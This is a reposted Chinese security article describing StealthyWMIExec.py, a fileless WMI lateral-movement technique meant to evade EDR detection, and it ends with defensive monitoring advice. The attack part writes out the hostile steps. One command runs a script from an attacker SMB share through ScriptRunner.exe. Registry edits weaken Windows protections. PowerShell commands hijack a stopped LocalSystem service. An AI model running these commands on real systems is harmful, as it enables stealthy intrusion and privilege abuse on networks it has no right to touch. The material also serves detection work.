绕过传统WMIExec检测!一种无文件WMI横向移动新思路

admin 2026-05-11 06:27:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种绕过传统WMIExec检测的无文件横向移动新方法StealthyWMIExec.py,通过修改停止状态的系统服务路径,利用ScriptRunner.exe远程加载SMB共享脚本实现命令执行,全程不写入本地磁盘且自动还原服务痕迹。文章详细阐述了攻击流程、技术亮点,并提供了监控服务行为、注册表修改等防御建议。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,恶意软件,威胁情报


cover_image

绕过传统 WMIExec 检测!一种无文件 WMI 横向移动新思路

黑白之道

2026年5月10日 08:20 江西

在小说阅读器读本章

去阅读

传统的 wmiexec.py 凭借 Impacket 框架成为内网横向移动的常用工具,但它的检测特征过于明显—— 依赖 Win32_Process 类的 Create 方法创建进程,执行输出会写入 ADMIN$ 共享,很容易被主流 EDR / 安全设备识别拦截。

能不能做一个不使用 Win32_Process、不写入本地磁盘,同时还能稳定执行命令、回显结果的 WMI 横向移动工具?

本文就带你拆解这种新型隐蔽攻击思路,以及它的实现工具 StealthyWMIExec.py

核心思路:抛弃老套路,换一种攻击链

传统 WMIExec 缺陷:

  • 调用Win32_Process.Create创建进程,特征明显
  • 命令输出写入本地磁盘 ADMIN$,留痕严重
  • 日志、进程链极易被检测

改进思路:

  1. 不使用 Win32_Process,改用修改系统服务路径实现执行
  2. 利用LOLBIN(ScriptRunner.exe) 远程加载 SMB 共享上的脚本
  3. 全程不写入目标主机本地磁盘
  4. 命令执行结果直接回传攻击机 SMB 服务
  5. 执行后还原服务路径,清理痕迹

关键 LOLBIN:ScriptRunner.exe

在 LOLBAS 项目中筛选后,作者选中ScriptRunner.exe,它支持直接执行 SMB 共享上的 cmd 脚本,完美满足无磁盘落地需求。

https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/

ScriptRunner.exe -appvscript \\192.168.122.126\share\shell.cmd

踩过的坑:两个必须解决的障碍

1. SMB 未经身份验证访客访问被阻止

错误提示:无法访问此共享文件夹,因为你的组织安全策略阻止了未经身份验证的访客访问

Error: You can’t access this shared folder because your organization’s security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network

解决:修改注册表允许不安全访客认证

HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\ParametersAllowInsecureGuestAuth = 1 (DWORD)

2. Windows 安全警告弹窗阻止执行

直接运行网络脚本会弹出安全提示,导致执行中断。

解决:将 .cmd 加入低风险文件白名单

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\AssociationsLowRiskFileTypes = .cmd

完成这两项配置后,ScriptRunner 即可静默执行远程 SMB 脚本

攻击核心:修改停止状态的系统服务

要让 LOLBIN 在目标机静默运行,最佳载体是已停止、以 LocalSystem 运行的系统服务

1. 筛选符合条件的服务

用 WMI 查询:已停止 + 运行身份为 LocalSystem

$TargetService = Get-CimInstance -ClassName Win32_Service -Filter "State='Stopped' AND StartName ='LocalSystem'" | Select-Object -First 1
$TargetService

2. 修改服务 PathName 为攻击载荷

将服务路径替换为我们的攻击载荷:

Invoke-CimMethod -InputObject $TargetService -MethodName Change -Arguments @{  PathName = "C:\Windows\System32\scriptrunner.exe -appvscript \\192.168.122.126\share\shell.cmd"}
  1. 启动服务触发执行
Invoke-CimMethod -InputObject $TargetService -MethodName StartService

LocalSystem 权限可直接访问 SMB 并执行脚本,无需访客认证,攻击成功率大幅提升。

StealthyWMIExec.py 完整工作流程

这个基于 Impacket 开发的工具,完整实现了上述攻击链,全程自动化:

  1. 启动 SMB 服务:在攻击机开启 SMB 共享,存放 payload 与接收回显
  2. 远程检查注册表:确认.cmd 已加入 LowRiskFileTypes 白名单,没有则自动配置
  3. WMI 查询服务:查找 Stopped+LocalSystem 服务
  4. 备份并修改服务路径:替换为 ScriptRunner + SMB 远程脚本
  5. 生成 payload:创建 .cmd 执行指定命令,结果写入 SMB 共享
  6. 启动服务执行:命令运行后回传结果到攻击机
  7. 自动还原服务路径:攻击结束恢复原始 PathName,消除痕迹
  8. 读取并展示结果:输出 whoami、hostname 等执行结果

技术亮点与防御建议

技术亮点

  • 无磁盘文件落地,全程远程加载
  • 不使用 Win32_Process,绕过传统 WMI 执行检测
  • 默认获得 LocalSystem 高权限
  • 执行后自动还原服务,痕迹极低
  • 依托系统自带 LOLBIN,不易被判定恶意

防御与检测建议

  1. 监控 ScriptRunner.exe 异常启动,尤其带 -appvscript + 远程路径
  2. 审计系统服务 PathName 的异常修改行为
  3. 禁用不必要的 AllowInsecureGuestAuth
  4. 限制从远程 SMB 共享直接执行 .cmd / .ps1 脚本
  5. 监控 WMI 对 Win32_Service 的 Change 和 StartService 调用
  6. 开启服务关键路径注册表监控

这套 “服务劫持 + LOLBIN + 无文件 WMI 横向” 的组合,已经明显跳出了传统 wmiexec 的检测范式。对防守方来说,只盯着 Win32_Process 已经不够,必须从服务行为、注册表、LOLBIN 调用多个维度联动分析。

最后

关于这个新型隐蔽的WMI横向移动攻击思路的详细原理建议可以去看下作者原文:

https://ghaleb0x317374.github.io/2026/03/15/Stealthy-WMI-lateral-movement-StealthyWMIExec.py.html

这个工具项目地址可通过以下方式获取!!!

下载地址

https://github.com/Ghaleb0x317374/StealthyWMIExec.py

文章来源:Hack分享吧

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 《绕过传统 WMIExec 检测!一种无文件 WMI 横向移动新思路》

评论:0   参与:  0